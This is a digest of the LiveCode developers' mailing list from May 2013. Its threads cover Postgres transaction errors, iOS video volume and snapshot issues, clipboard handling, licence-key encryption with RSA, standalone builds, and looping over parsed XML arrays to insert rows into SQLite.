Date: Tue, 14 May 2013 20:17:54 +0300 Subject: iOS Audio/Video In-Reply-To: <5C8B1195-303E-44FC-8D87-25D6661EC3C9@clearvisiontech.com> References: <5C8B1195-303E-44FC-8D87-25D6661EC3C9@clearvisiontech.com> Message-ID: <8457CF1AE4874F14A86FC247B45D7A34@gmail.com> Dan, you're right. I didn't notice the *iOS Player Control* thing, sorry. Theoretically, setting the *useApplicationAudioSession* of the player should give the control to the programmer via creating a sound channel for the playing movie. { http://stackoverflow.com/questions/3793839/how-to-adjust-the-volume-of-mpmovieplayercontroller-in-iphone-sdk http://stackoverflow.com/questions/8741487/how-to-adjust-volume-of-movie?lq=1 } But I played with it for a while and couldn't make it work, it doesn't have any effect. Although, it seems that it deprecated in iOS 6, I don't know if this is the issue. So, it seems that the only option is an ugly work-around to load a mute video into iOS Player and playing its sound via *mobilePlaySoundOnChannel*. It's an ugly work-around, indeed. However, using mergAV external and fiddling with its settings may help. { http://mergext.com/home/mergav/ } They're somewhat complicated, so I can't help there, sorry. Best, ~ Ender Nafi ~? together, we're smarter ?~ From bonnmike at gmail.com Tue May 14 13:11:04 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Tue, 14 May 2013 11:11:04 -0600 Subject: "revdberr, " as the returned value on *successful* postgres operations In-Reply-To: References: Message-ID: Right, if you're using a transaction block then yes you need the intermediate semicolons added yourself. (unless you're using multiple separate revexecutesql statements rather than handing off a complete list in 1 go) So yeah if you do revexecutesql with your begin transaction a repeat with a revexecutesql for each command to use and a revexecutesql with a commit after the repeat then no semicolons should be added. Since you're building the whole thing and then sending it as a unit, all but the last would be needed as you surmise. I was just going based on the code you posted previously so was unsure of your method. On Tue, May 14, 2013 at 11:03 AM, Dr. Hawkins wrote: > On Mon, May 13, 2013 at 7:11 PM, Mike Bonner wrote: > > > Are you adding the ; at the end of your sql strings? I'm pretty sure rev > > appends its own ; so the result would be an extra one. Which might make > > postgres a) do whatever you told it to, then b) return a confused error > due > > to the second ; > > > > Try it without adding the ; > > > > I took off the trailing semicolon: > > BEGIN TRANSACTION; > UPDATE baggins_bilbo____001_sofa SET A = 'Ape guy', B = 'Sunday', C = '9 > banana', D = '', usr= '', tstmp = NOW() WHERE uniq_sfky =7; > UPDATE dhbk_dtIdx SET lastOpened=NOW(), usr=' ' WHERE > dtStem='baggins_bilbo____001'; > COMMIT > > and still get the same message. > > Livecode certainly isn't adding semicolon after every line--if I take out > the others, the UPDATE throws an error. > > I've also seen the same issue with single transactions outside of BEGIN > blocks. > > > -- > Dr. Richard E. Hawkins, Esq. > (702) 508-8462 > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From dochawk at gmail.com Tue May 14 13:27:23 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Tue, 14 May 2013 10:27:23 -0700 Subject: "revdberr, " as the returned value on *successful* postgres operations In-Reply-To: References: Message-ID: On Tue, May 14, 2013 at 10:03 AM, Dr. Hawkins wrote > > > BEGIN TRANSACTION; > UPDATE baggins_bilbo____001_sofa SET A = 'Ape guy', B = 'Sunday', C = '9 > banana', D = '', usr= '', tstmp = NOW() WHERE uniq_sfky =7; > UPDATE dhbk_dtIdx SET lastOpened=NOW(), usr=' ' WHERE > dtStem='baggins_bilbo____001'; > COMMIT > And the livecode is: put revDataFromQuery(tab,vtab,debtordb,dcmd) into theRes This is invariant between this function and the revexeucte type--and I need the vtabs on my queries, as my date has lots of crs. -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From dochawk at gmail.com Tue May 14 13:29:27 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Tue, 14 May 2013 10:29:27 -0700 Subject: "revdberr, " as the returned value on *successful* postgres operations In-Reply-To: References: Message-ID: On Tue, May 14, 2013 at 10:11 AM, Mike Bonner wrote: > > and a revexecutesql with a commit after the repeat then no semicolons > should be added. Since you're building the whole thing and then sending it > as a unit, all but the last would be needed as you surmise. > > I was just going based on the code you posted previously so was unsure of > your method. I need to send them as single transaction for off-site performance reasons . . .and if that means coding around this error, so be it. It's consistent when this happens that there is no additional error message. Thanks -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From bonnmike at gmail.com Tue May 14 13:35:56 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Tue, 14 May 2013 11:35:56 -0600 Subject: "revdberr, " as the returned value on *successful* postgres operations In-Reply-To: References: Message-ID: Is it reliably reproducible? You said: "I've also seen the same issue with single transactions outside of BEGIN blocks." When using the same data, same single transaction, do you get the same result every time? Does changing the data change the response? If a specific set of conditions can be tracked down that cause the issue it would be a huge step towards a solve. Also i'm wondering, if you make the changes, do the commit, then immediately select the same records, have they all been successfully updated? I don't know enough about how postges works to be sure but either a) (ignoring the fact that single statements sometimes do this) if a begin/commit block has a problem with a statement, then postgres may treat it as an atomic transaction (1 fails all fail) and autorollback, or b) its informing you that there was an issue in there somewhere and giving you the option to rollback yourself. You might, short term, remove the begin/commit, and use a repeat to loop through each sql statement, logging the sql used for each, the values being passed in, and whether or not there was an error. Even if you do this one single time, if you get a viewable error, its worth the time involved. And if you don't, that might be informative too. If there are LOTS of transactions to be done this will be considerably slower, but may be necessary. Sorry, was typing and thinking as you were answering. Yeah, it will CONSIDERABLY slow down your transactions to use the 1 at a time method, but if you can do it with a small dataset to track down the issue it might be worth it. My worry would be that there is actually a real reason you're getting this error rather than a strange glitchy thingy that can be safely ignored. On Tue, May 14, 2013 at 11:11 AM, Mike Bonner wrote: > Right, if you're using a transaction block then yes you need the > intermediate semicolons added yourself. (unless you're using multiple > separate revexecutesql statements rather than handing off a complete list > in 1 go) > > So yeah if you do > > revexecutesql with your begin transaction > > a repeat with a revexecutesql for each command to use > > > and a revexecutesql with a commit after the repeat then no semicolons > should be added. Since you're building the whole thing and then sending it > as a unit, all but the last would be needed as you surmise. > > I was just going based on the code you posted previously so was unsure of > your method. > > > > > > On Tue, May 14, 2013 at 11:03 AM, Dr. Hawkins wrote: > >> On Mon, May 13, 2013 at 7:11 PM, Mike Bonner wrote: >> >> > Are you adding the ; at the end of your sql strings? I'm pretty sure >> rev >> > appends its own ; so the result would be an extra one. Which might make >> > postgres a) do whatever you told it to, then b) return a confused error >> due >> > to the second ; >> > >> > Try it without adding the ; >> > >> >> I took off the trailing semicolon: >> >> BEGIN TRANSACTION; >> UPDATE baggins_bilbo____001_sofa SET A = 'Ape guy', B = 'Sunday', C = '9 >> banana', D = '', usr= '', tstmp = NOW() WHERE uniq_sfky =7; >> UPDATE dhbk_dtIdx SET lastOpened=NOW(), usr=' ' WHERE >> dtStem='baggins_bilbo____001'; >> COMMIT >> >> and still get the same message. >> >> Livecode certainly isn't adding semicolon after every line--if I take out >> the others, the UPDATE throws an error. >> >> I've also seen the same issue with single transactions outside of BEGIN >> blocks. >> >> >> -- >> Dr. Richard E. Hawkins, Esq. >> (702) 508-8462 >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > > From richmondmathewson at gmail.com Tue May 14 14:42:00 2013 From: richmondmathewson at gmail.com (Richmond) Date: Tue, 14 May 2013 21:42:00 +0300 Subject: Flipping Animated GIFs In-Reply-To: References: <5191CFD3.1020600@gmail.com> Message-ID: <51928578.3090900@gmail.com> On 05/14/2013 02:17 PM, Roger Eller wrote: > A quick hide / show should get him animated again... unless it's not > supported while flipped. I have not tried it. > > No joy, I'm afraid. Richmond. From irog at mac.com Tue May 14 14:59:57 2013 From: irog at mac.com (Roger Guay) Date: Tue, 14 May 2013 11:59:57 -0700 Subject: Import Snapshot in iOS In-Reply-To: <51926841.804@fourthworld.com> References: <51926841.804@fourthworld.com> Message-ID: Richard, I presume you were asking anyone on the list. I, for one, do not know! Roger On May 14, 2013, at 9:37 AM, Richard Gaskin wrote: > Ender Nafi wrote: >> Roger's right. >> It's an odd thing but setting the a-R to true prohibits importing snapshots. >> Commenting it out fixes the issue. >> Not tested in LiveCode 6.0.1, though? > > That's not mentioned in the Dictionary. Is that a documentation bug, or does it only affect the older method of importing snapshots by rect while still allowing the new method of making snapshots from object references? > > -- > Richard Gaskin > Fourth World > LiveCode training and consulting: http://www.fourthworld.com > Webzine for LiveCode developers: http://www.LiveCodeJournal.com > Follow me on Twitter: http://twitter.com/FourthWorldSys > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From skip at magicgate.com Tue May 14 15:04:58 2013 From: skip at magicgate.com (Magicgate Software - Skip Kimpel) Date: Tue, 14 May 2013 15:04:58 -0400 Subject: ClipboardData Message-ID: I have used clipboarddata for many project in the past. Today I was trying to process a clipboard selection that came from a Word 2003 document and it did not preserve any of the spaces. I have used the format of "text", "html", "rtf"..... actually tried all the available options. Suggestions? SKIP From dochawk at gmail.com Tue May 14 15:15:50 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Tue, 14 May 2013 12:15:50 -0700 Subject: "revdberr, " as the returned value on *successful* postgres operations In-Reply-To: References: Message-ID: On Tue, May 14, 2013 at 10:35 AM, Mike Bonner wrote: > Is it reliably reproducible? You said: "I've also seen the same issue > with single transactions outside of BEGIN > blocks." > When using the same data, same single transaction, do you get the same > result every time? Does changing the data change the response? If a > specific set of conditions can be tracked down that cause the issue it > would be a huge step towards a solve. > At this point in my code, it happens every single time, with the exact same result, regardless of the underlying data. > > Also i'm wondering, if you make the changes, do the commit, > then immediately select the same records, have they all been successfully > updated? I don't know enough about how postges works to be sure but either > a) (ignoring the fact that single statements sometimes do this) if a > begin/commit block has a problem with a statement, then postgres may treat > it as an atomic transaction (1 fails all fail) and autorollback, or b) its > informing you that there was an issue in there somewhere and giving you the > option to rollback yourself. > It's definitely committing--I ave a terminal open in the same database with psql, and it retrieves the modified data. > > You might, short term, remove the begin/commit, and use a repeat to loop > through each sql statement, logging the sql used for each, the values being > passed in, and whether or not there was an error. Even if you do this one > single time, if you get a viewable error, its worth the time involved. And > if you don't, that might be informative too. If there are LOTS of > transactions to be done this will be considerably slower, but may be > necessary. > I'll try to simplify to a sample case. At the moment, I'm actually recoding to include the blocks, as there should usually be 2-3 things happening. In this case, it updates the data, but also an index of when the most recent file has been updated and by whom. (I actually need to shift to a master/slave stack setup, with the master updated a local sqlite stack, and the slave updating in both directions for newer changes in the other base. A thread would be much better, but the "in 6 ticks" type thing remains a problem, as my understanding is that it would freeze the interface while communicating the remote databse. > > Sorry, was typing and thinking as you were answering. Yeah, it > will CONSIDERABLY slow down your transactions to use the 1 at a time > method, but if you can do it with a small dataset to track down the issue > it might be worth it. My worry would be that there is actually a real > reason you're getting this error rather than a strange glitchy thingy that > can be safely ignored > I'll experiment. When I was using a remote SQL database, the lag was a considerable fraction of a second for a simple (three columns of numbers) remote ALTER. -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From pete at lcsql.com Tue May 14 15:18:41 2013 From: pete at lcsql.com (Peter Haworth) Date: Tue, 14 May 2013 12:18:41 -0700 Subject: "revdberr, " as the returned value on *successful* postgres operations In-Reply-To: References: Message-ID: I think I saw in a previous message that you are using revDataFromQuery to execute the BEGIN/UPDATE statements? If so, I'd say there could be unexpected results since that function expects a SELECT statement and returns the result of it. Not saying it won't work but revExecuteSQL is what should really be used for anything other than SELECT statements. Pete lcSQL Software On Tue, May 14, 2013 at 10:03 AM, Dr. Hawkins wrote: > On Mon, May 13, 2013 at 7:11 PM, Mike Bonner wrote: > > > Are you adding the ; at the end of your sql strings? I'm pretty sure rev > > appends its own ; so the result would be an extra one. Which might make > > postgres a) do whatever you told it to, then b) return a confused error > due > > to the second ; > > > > Try it without adding the ; > > > > I took off the trailing semicolon: > > BEGIN TRANSACTION; > UPDATE baggins_bilbo____001_sofa SET A = 'Ape guy', B = 'Sunday', C = '9 > banana', D = '', usr= '', tstmp = NOW() WHERE uniq_sfky =7; > UPDATE dhbk_dtIdx SET lastOpened=NOW(), usr=' ' WHERE > dtStem='baggins_bilbo____001'; > COMMIT > > and still get the same message. > > Livecode certainly isn't adding semicolon after every line--if I take out > the others, the UPDATE throws an error. > > I've also seen the same issue with single transactions outside of BEGIN > blocks. > > > -- > Dr. Richard E. Hawkins, Esq. > (702) 508-8462 > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From roger.e.eller at sealedair.com Tue May 14 15:24:25 2013 From: roger.e.eller at sealedair.com (Roger Eller) Date: Tue, 14 May 2013 15:24:25 -0400 Subject: Flipping Animated GIFs In-Reply-To: <51928578.3090900@gmail.com> References: <5191CFD3.1020600@gmail.com> <51928578.3090900@gmail.com> Message-ID: It appears that LC either loses the "animation" flag, or reduces the image to a single frame if you flip it. I opened an animated GIF in gimp, and save flipped it there, and chose export. At this point, I had to re-check the animation button. I imported both, grouped them so they would move as one object, and control the animation and movement in a button script. I'll send you my stack off-list. ~Roger On Tue, May 14, 2013 at 2:42 PM, Richmond wrote: > On 05/14/2013 02:17 PM, Roger Eller wrote: > >> A quick hide / show should get him animated again... unless it's not >> supported while flipped. I have not tried it. >> >> >> > No joy, I'm afraid. > > Richmond. > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > From dunbarx at aol.com Tue May 14 16:00:11 2013 From: dunbarx at aol.com (dunbarx at aol.com) Date: Tue, 14 May 2013 16:00:11 -0400 (EDT) Subject: ClipboardData In-Reply-To: References: Message-ID: <8D01EF4C69BE87B-9FC-1E65B@webmail-d276.sysops.aol.com> Yipes. Can you dig in and see if there is any char at all where the space ought to have been. In other words, is that "space" empty? Craig Newman -----Original Message----- From: Magicgate Software - Skip Kimpel To: How to use LiveCode Sent: Tue, May 14, 2013 3:05 pm Subject: ClipboardData I have used clipboarddata for many project in the past. Today I was trying to process a clipboard selection that came from a Word 2003 document and it did not preserve any of the spaces. I have used the format of "text", "html", "rtf"..... actually tried all the available options. Suggestions? SKIP _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From m_p_wilcox at yahoo.co.uk Tue May 14 16:13:27 2013 From: m_p_wilcox at yahoo.co.uk (Mark Wilcox) Date: Tue, 14 May 2013 21:13:27 +0100 (BST) Subject: Import Snapshot in iOS In-Reply-To: References: <51926841.804@fourthworld.com> Message-ID: <1368562407.97453.YahooMailNeo@web28804.mail.ir2.yahoo.com> I looked up the iOS snapshot code. ?It looks to me as if it renders the contents of the window into a bitmap context. ?I've written my own screen snapshot and video recording code on iOS and this doesn't capture the contents of a view/window drawn directly with OpenGL - for that you need to read back the pixels from the hardware graphics accelerator directly. So if my understanding of "accelerated rendering" is correct, then this shouldn't work - if LiveCode didn't block you making the call in that mode, you should get back a black image.? I'm hoping to find out how to trace my way down from a command to the code that implements it in a workshop on Thursday. ?Curious to look at this one some more when I understand the code better. Mark ________________________________ From: Roger Guay To: How to use LiveCode Sent: Tuesday, 14 May 2013, 19:59 Subject: Re: Import Snapshot in iOS Richard, I presume you were asking anyone on the list. I, for one, do not know! Roger On May 14, 2013, at 9:37 AM, Richard Gaskin wrote: > Ender Nafi wrote: >> Roger's right. >> It's an odd thing but setting the a-R to true prohibits importing snapshots. >> Commenting it out fixes the issue. >> Not tested in LiveCode 6.0.1, though? > > That's not mentioned in the Dictionary.? Is that a documentation bug, or does it only affect the older method of importing snapshots by rect while still allowing the new method of making snapshots from object references? > > -- > Richard Gaskin > Fourth World > LiveCode training and consulting: http://www.fourthworld.com > Webzine for LiveCode developers: http://www.LiveCodeJournal.com > Follow me on Twitter:? http://twitter.com/FourthWorldSys > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From dochawk at gmail.com Tue May 14 16:35:33 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Tue, 14 May 2013 13:35:33 -0700 Subject: Rethinking rsa encryption of license keys Message-ID: In earlier discussions, I had pretty much settled on using an RSA key pair for my licensing (particularly, for per use licensing), giving the public key to the user and retaining the private key. It just occurred to me, though: given that this lets them decrypt the entire license payload, which is full of cleartext, couldn't just plain anybody make their own key pair, encryupt, and feed my program the custom key? (kind of like mounting the screws on the lock on the outside of the house?[1]) If I'm correct, is the solution to have a somewhat longer public/private pair, and using that private key to encrypt the user's public key, and keep it buried in my code, so that the user never has the real key? And if it somehow escaped, I could update it in major releases? [1] We didn't notice a first, but our sliding back door was mounted inside out, allowing it to simply be lifted off from outside . . . we then found that the entire subdivision had been misinstalled like this decades ago. -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From revdev at pdslabs.net Tue May 14 16:54:18 2013 From: revdev at pdslabs.net (Phil Davis) Date: Tue, 14 May 2013 13:54:18 -0700 Subject: ClipboardData In-Reply-To: References: Message-ID: <5192A47A.5000301@pdslabs.net> Hi Skip, If you're using LC 5.5 or better, have you considered processing the styledText of the field after the paste instead of the clipboardData before the paste? I found this makes it possible to do pretty much whatever you need to do. I recently created a field behavior script that allows you (or my client's customers actually) to paste Arabic text into a field and have it wrap and do line breaks correctly! (I hope to release a version of it to the community soon) You would have to do something like this: lock screen create inv fld "_temp_" set the unicodeText of fld "_temp_" to the clipboardData["unicode"] put the styledText of fld "_temp_" into tMyTextA delete field "_temp_" -- and now process the 'tMyTextA' array Food for thought - Phil Davis On 5/14/13 12:04 PM, Magicgate Software - Skip Kimpel wrote: > I have used clipboarddata for many project in the past. Today I was trying > to process a clipboard selection that came from a Word 2003 document and it > did not preserve any of the spaces. I have used the format of "text", > "html", "rtf"..... actually tried all the available options. > > Suggestions? > > SKIP > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Phil Davis From kee at kagi.com Tue May 14 17:08:39 2013 From: kee at kagi.com (kee nethery) Date: Tue, 14 May 2013 14:08:39 -0700 Subject: Rethinking rsa encryption of license keys In-Reply-To: References: Message-ID: <49856417-F658-4A19-8E4C-48B768B8B6EB@kagi.com> You embed your public RSA key into your app. You pick a random symmetrical key and encrypt your payload using that key. You encrypt the random symmetrical key with your private RSA key. You append the encrypted random key to your encrypted payload and send that to the customer. You extract the encrypted random symmetrical key from the payload and decrypt it with your embedded public key. You take the decrypted random symmetrical key and use that to decrypt the payload. This prevents someone from creating an unlock file that your app can decrypt and use. It does not prevent them from passing the file on to another user. To attempt to prevent them from passing an unlock payload to another user, you'll need to get something from the user and validate that against what is in the payload. Kee On May 14, 2013, at 1:35 PM, Dr. Hawkins wrote: > In earlier discussions, I had pretty much settled on using an RSA key pair > for my licensing (particularly, for per use licensing), giving the public > key to the user and retaining the private key. > > It just occurred to me, though: given that this lets them decrypt the > entire license payload, which is full of cleartext, couldn't just plain > anybody make their own key pair, encryupt, and feed my program the custom > key? (kind of like mounting the screws on the lock on the outside of the > house?[1]) > > If I'm correct, is the solution to have a somewhat longer public/private > pair, and using that private key to encrypt the user's public key, and keep > it buried in my code, so that the user never has the real key? And if it > somehow escaped, I could update it in major releases? > > [1] We didn't notice a first, but our sliding back door was mounted inside > out, allowing it to simply be lifted off from outside . . . we then found > that the entire subdivision had been misinstalled like this decades ago. > -- > Dr. Richard E. Hawkins, Esq. > (702) 508-8462 > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From gspearson at gmail.com Tue May 14 17:30:41 2013 From: gspearson at gmail.com (Graham Pearson) Date: Tue, 14 May 2013 17:30:41 -0400 Subject: Array Looping to Insert into Database In-Reply-To: References: <518A5568.3090002@gmail.com> Message-ID: <5192AD01.5020104@gmail.com> Now my next array question is a bit different and trying to use the knowledge from the array listed below to solve for this array which has not worked as of yet (But still trying as I write this). New Array: gAvailableMarketReceiveTowerDataArray ReceiveTowers Market[10] @attributes ID WHR769 Tower[1] @attributes ID KY-000001 Address 951 Dixie Highway City Louisville State KY County TowerLatitude 38.2425270 TowerLongitude -85.7843640 Tower[2] @attributes ID KY-000002 Address 245 West Dixie Highway City Elizabethtown State KY County TowerLatitude 37.65959 TowerLongitude -85.8621 In using the previous knowledge, I tried to use put the keys of gAvailableMarketReceiveTowerDataArray[ReceiveTowers] into tKeys repeat for each line L in tKeys answer info gAvailableMarketReceiveTowerDataArray[ReceiveTowers][L]["ID"] with "OK" end repeat In running this, I get a blank answer box with the info icon and OK button. What I am trying to do is store the XML Data into SQLite so it can be used offline to display information regarding these wifi hotspot locations. On 5/8/2013 12:01 PM, Peter Haworth wrote: > Can't help with the XML stuff but it doesn't seem to difficult to use the > array. > > put the keys of gAvailableMarketDataArray[AvailableMarkets] into tKeys > sort tKeys -- if you care > repeat for each line L in tKeys > > end repeat > > If you're inserting/updating stuff into an sqlite database, don;t forget to > issue a BEGIN before the repeat loop, a COMMIT after the repeat loop, and > ROLLBACK if any errors occur within the repeat loop. Everything will work > much faster that way. > > Pete > lcSQL Software > > > On Wed, May 8, 2013 at 6:38 AM, Graham Pearson wrote: > >> Array Experts >> >> In my application that I am converting from Adobe Air, I have come to a >> section where Google has let me down. I have converted my XML File to an >> Array and can see it within the Debugger and parts of the array is >> listed below. >> >> gAvailableMarketDataArray >> AvailableMarkets >> Market[1] >> BTALatitude 27-29-40.1-N >> BTALongitude 81-24-59.3-W >> CallSign WNC905 >> City Sebring >> State FL >> @attributes >> ID 1 >> Market[2] etc. >> >> >> The application pulls the XML File from a Web Service that generates it >> on the fly. The application on first run checks to make sure the >> database exists and records are within it. At this point no records are >> retrieved from the database so I am struggling with how to take this >> array and insert each record of the array into the database. >> >> >> Or is their a command/function that I can use after >> >> put revCreateXMLTree(gClientAvailableMarketsXMLData, false, true, false) >> into tAvailableMarketData >> >> that will give me just the Market part of the XML data so then I can >> create the array which will simply list the Market[1] directly under the >> gAvailableMarketDataArray which will make it easier to insert the array >> into the sqlite database. >> >> >> >> >> >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From skip at magicgate.com Tue May 14 18:08:19 2013 From: skip at magicgate.com (Magicgate Software - Skip Kimpel) Date: Tue, 14 May 2013 18:08:19 -0400 Subject: ClipboardData In-Reply-To: <8D01EF4C69BE87B-9FC-1E65B@webmail-d276.sysops.aol.com> References: <8D01EF4C69BE87B-9FC-1E65B@webmail-d276.sysops.aol.com> Message-ID: Phil, I tried your method and then took a look at _temp_ and the result was the same. Craig, If I paste my clipboard into Notepad or any other text based application, it translates over properly... just not in LC. I am using 5.5.4 SKIP On Tue, May 14, 2013 at 4:00 PM, wrote: > Yipes. > > > Can you dig in and see if there is any char at all where the space ought > to have been. In other words, is that "space" empty? > > > > Craig Newman > > > -----Original Message----- > From: Magicgate Software - Skip Kimpel > To: How to use LiveCode > Sent: Tue, May 14, 2013 3:05 pm > Subject: ClipboardData > > > I have used clipboarddata for many project in the past. Today I was trying > to process a clipboard selection that came from a Word 2003 document and it > did not preserve any of the spaces. I have used the format of "text", > "html", "rtf"..... actually tried all the available options. > > Suggestions? > > SKIP > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription > preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From dochawk at gmail.com Tue May 14 18:09:14 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Tue, 14 May 2013 15:09:14 -0700 Subject: Rethinking rsa encryption of license keys In-Reply-To: <49856417-F658-4A19-8E4C-48B768B8B6EB@kagi.com> References: <49856417-F658-4A19-8E4C-48B768B8B6EB@kagi.com> Message-ID: On Tue, May 14, 2013 at 2:08 PM, kee nethery wrote: > You embed your public RSA key into your app. > You pick a random symmetrical key and encrypt your payload using that key. > You encrypt the random symmetrical key with your private RSA key. > You append the encrypted random key to your encrypted payload and send > that to the customer. > You extract the encrypted random symmetrical key from the payload and > decrypt it with your embedded public key. > You take the decrypted random symmetrical key and use that to decrypt the > payload. > Cryptography was never one of my areas of math--but doesn't this reduce the total security to the security of the symmetrical key used? I thought that the total encryption level was effectively limited to the weakest element in the chain . . . > This prevents someone from creating an unlock file that your app can > decrypt and use. It does not prevent them from passing the file on to > another user. To attempt to prevent them from passing an unlock payload to > another user, you'll need to get something from the user and validate that > against what is in the payload. > *That* is not a problem in my case :) The main payload is the name, address, and bar number (law license), as well as jurisdiction, of the licensed attorney. You can't file much under another attorney's name. (But I red a discipline case some time ago where an attorney got a sample document from another, and had so little idea what he was doing that he started filing with the other attorney's name still listed . . .) -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From dochawk at gmail.com Tue May 14 18:21:02 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Tue, 14 May 2013 15:21:02 -0700 Subject: excluding substacks from standalone build Message-ID: I had thought that there was an option to determine which substacks got built into a standalone. Was I mistake? So if I have substacks that are only used for development, and not by users do I do something like shell copy thisstack.livecode to buildme.livecode send prepareyourself to stack delete of buildme.livecode with a handler like on prepareyourself updatePlist delete stack dev1 delete stack dev2 dispatch "delete stack delete" in 10 millisecond dispatch "buildstandalone" in 1 second end prepareyourself -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From kee at kagi.com Tue May 14 18:22:31 2013 From: kee at kagi.com (kee nethery) Date: Tue, 14 May 2013 15:22:31 -0700 Subject: Rethinking rsa encryption of license keys In-Reply-To: References: <49856417-F658-4A19-8E4C-48B768B8B6EB@kagi.com> Message-ID: <71100ACF-D6D6-45CC-99DD-F8F56FED9DBA@kagi.com> On May 14, 2013, at 3:09 PM, Dr. Hawkins wrote: > On Tue, May 14, 2013 at 2:08 PM, kee nethery wrote: > >> You embed your public RSA key into your app. >> You pick a random symmetrical key and encrypt your payload using that key. >> You encrypt the random symmetrical key with your private RSA key. >> You append the encrypted random key to your encrypted payload and send >> that to the customer. >> You extract the encrypted random symmetrical key from the payload and >> decrypt it with your embedded public key. >> You take the decrypted random symmetrical key and use that to decrypt the >> payload. >> > > Cryptography was never one of my areas of math--but doesn't this reduce the > total security to the security of the symmetrical key used? I thought that > the total encryption level was effectively limited to the weakest element > in the chain . . . There is nothing insecure about a symmetrical key. The insecurity with a symmetrical key is that both people have to know it and getting it from person A to person B safe and secure is difficult. The public private key pair handles the transport of the symmetrical key. If you use a heck-a-long key for the symmetrical stuff, it will be secure (assuming the symmetrical algorithm is secure). The only thing that is insecure in the system is your public key embedded in your app. Since your app does all the decryption and payload verification, the bad guys having access to that public key is not a security risk. They cannot create a payload file with the public key. Kee From pete at lcsql.com Tue May 14 18:24:31 2013 From: pete at lcsql.com (Peter Haworth) Date: Tue, 14 May 2013 15:24:31 -0700 Subject: Array Looping to Insert into Database In-Reply-To: <5192AD01.5020104@gmail.com> References: <518A5568.3090002@gmail.com> <5192AD01.5020104@gmail.com> Message-ID: On Tue, May 14, 2013 at 2:30 PM, Graham Pearson wrote: > repeat for each line L in tKeys > answer info > gAvailableMarketReceiveTowerDataArray[ReceiveTowers][L]["ID"] with "OK" > end repeat > Hi Graham, I think you missed [@attributes] as a key between [L] and [ID]. I'm guessing you don;t have any control over the format of this array but just in case you do, I'd be more inclined to do something like this, mainly to cut down on the number of nested keys: gAvailableMarketReceiveTowerDataArray ReceiveTowers Market[10] ID WHR769 Towers 1 ID KY-000001 Address 951 Dixie Highway City Louisville State KY County TowerLatitude 38.2425270 TowerLongitude -85.7843640 2 ID KY-000002 Address 245 West Dixie Highway City Elizabethtown State KY County TowerLatitude 37.65959 TowerLongitude -85.8621 Pete lcSQL Software From gspearson at gmail.com Tue May 14 18:45:31 2013 From: gspearson at gmail.com (Graham Pearson) Date: Tue, 14 May 2013 18:45:31 -0400 Subject: Array Looping to Insert into Database In-Reply-To: References: <518A5568.3090002@gmail.com> <5192AD01.5020104@gmail.com> Message-ID: <5192BE8B.5090800@gmail.com> I have total control over the XML Data as I have been trying to use the same XML Data that I used in creating the Adobe Air Application which I have used for the past 3 years. Now with LC as an Open Source, I have gotten fired up and been working day-in day-out to convert all of my Adobe Air Applications over to Livecode. Once I have the code down then I will acquire a commercial license before I publish my apps to the different devices. I just got a request to convert one application to Website through LiveCode. On 5/14/2013 6:24 PM, Peter Haworth wrote: > On Tue, May 14, 2013 at 2:30 PM, Graham Pearson wrote: > >> repeat for each line L in tKeys >> answer info >> gAvailableMarketReceiveTowerDataArray[ReceiveTowers][L]["ID"] with "OK" >> end repeat >> > > Hi Graham, > I think you missed [@attributes] as a key between [L] and [ID]. > > I'm guessing you don;t have any control over the format of this array but > just in case you do, I'd be more inclined to do something like this, mainly > to cut down on the number of nested keys: > > 